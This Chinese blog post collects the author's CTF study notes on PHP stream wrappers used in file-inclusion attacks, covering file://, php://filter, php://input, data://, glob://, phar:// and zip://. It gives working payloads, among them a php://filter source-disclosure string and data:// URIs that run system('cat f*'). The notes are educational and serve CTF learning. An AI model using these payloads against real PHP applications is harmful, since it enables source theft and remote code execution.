PHP伪协议总结

P H P 伪 协 议 总 结


平时做ctf题其中文件包含命令执行都有涉及php伪协议的东西,别人总结的总给是别人的,自己总结一波也算在学习一遍。其中还有一些伪协议没用碰到过,遇到了再添加

目录

php伪协议

file://

php://

data://

glob://

phar://

zip://


总览

file://
php://
data://
glob://
phar://
zip://

file://协议

条件:
	allow_url_fopen:off/on
    allow_url_include :off/on

作用:
    	用于读取本地文件安且不受allow_url_foopen的影响
        只能传入绝对路径(绝对不能使用相对路径 会报错)
用法:
        file://[文件的绝对路径和文件名]

php://协议

php://

条件:
    allow_url_fopen=off
    allow_url_include=off
用法:
    php://作用为访问输入输出流

php://filter

例如:
    ?id=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

说明:
    resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流

    read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

    write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
        。
    <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
用法:
    php://filter/read=convert.base64-encode/resource=[文件名]

php://input

条件:
    allow_url_include=on

    当enctype=”multipart/form-data”时,php://input是无效的

用法:
    将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input
例如:
    flag=php://input

data://协议

条件:
    Allow_url_fopen:on
    Allow_url_include:on

用法:
    data://text/plain,
    data://text/plain;base64,

例如:
    ?c=data://text/plain,<?php system('cat f*');?>

    ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==             
    PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==是<?php system('cat f*');?>的base64编码

glob://协议

用法:

    -查找匹配的文件路径模式

    C = $it = new DirectoryIterator("glob://路径*.php");
    foreach($it as $f) {
	 echo$f->getFilename()."\n";

    // printf("%s: %.1FK/n", $f->getFilename(), $f->getSize()/1024);
        }exit();

phar://协议

条件:
    allow_url_fopen:off/on
    allow_url_include:off/on

作用:
    访问zip格式压缩包内容

用法:
    file=phar://[压缩报的相对路径]/xxx.zip/[子文件名]

例如:
    file=phar://c:/xxx/xxx/xxx/phpinfo.zip/phpinfo.php

zip://协议

条件:
    allow_url_fopen:off/on
    allow_url_include:off/on
作用:
    访问压缩文件中的子文件,不需要指定后缀名,可修改为任意后缀(jpg.png....)
使用:
    zip://[压缩文件绝对路径]%23[压缩文件中的子文件名]

例如:
    file=zip://C:\xxx\xxx\xxx\phpinfo.jpg%23phpinfo.php
posted @ 2020-12-21 17:50  A2rcher_zjh  阅读(486)  评论(0编辑  收藏  举报